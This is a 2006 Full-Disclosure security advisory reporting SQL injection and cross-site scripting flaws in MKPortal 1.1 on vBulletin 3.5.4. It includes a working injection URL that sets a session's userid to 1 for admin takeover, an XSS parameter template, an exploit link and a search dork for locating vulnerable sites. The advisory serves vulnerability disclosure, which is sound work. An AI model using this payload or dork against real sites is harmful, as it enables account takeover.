full-disclosure - vBulletin <= 3.5.4 with MKPortal 1.1 Remote SQL Injection Vulnerability.

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Message-ID: <20060421215545.6E6671C6@lists.grok.org.uk>
Date: Fri Apr 21 23:55:24 2006
From: nukedx at nukedx.com (Mustafa Can Bjorn IPEKCI)
Subject: vBulletin <= 3.5.4 with MKPortal 1.1 Remote SQL
	Injection Vulnerability.


--Security Report--
Advisory: vBulletin <= 3.5.4 with MKPortal 1.1 Remote SQL Injection 
Vulnerability.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 21/04/06 22:36 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@...edx.com
Web: http://www.nukedx.com
}
---
Vendor: MKPortal (http://www.mkportal.it/)
Version: 1.1 RC1 and prior versions must be affected. (Runs on vBulletin!)
About: Via this methods remote attacker can inject arbitrary SQL queries to 
ind parameter in index.php of MKPortal.
Vulnerable code can be found in the file 
mkportal/include/VB/vb_board_functions.php at line 35-37, as you can see it 
easy to
by pass this SQL update function.
Also there is cross-site scripting vulnerability in pm_popup.php the 
parameters u1,m1,m2,m3,m4 did not sanitized properly.
Level: Critical
---
How&Example: 
SQL Injection :

GET -> http://[victim]/[mkportaldir]/index.php?ind=[SQL]
EXAMPLE -> http://[victim]/[mkportaldir]/index.php?ind=',userid='1
So with this example remote attacker updates his session's userid to 1 and 
after refreshing the page he can logs as userid 1.

XSS:
GET -> 

http://[victim]/[mkportaldir]/includes/pm_popup.php?u1=[XSS]&m1=[XSS]&m2=[XSS]&m3=[XSS]&m4=[XSS]

---
Timeline:
* 21/04/2006: Vulnerability found.
* 21/04/2006: Contacted with vendor and waiting reply.
---
Exploit:
http://www.nukedx.com/?getxpl=26
---
Dorks: "MKPortal 1.1 RC1"
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=26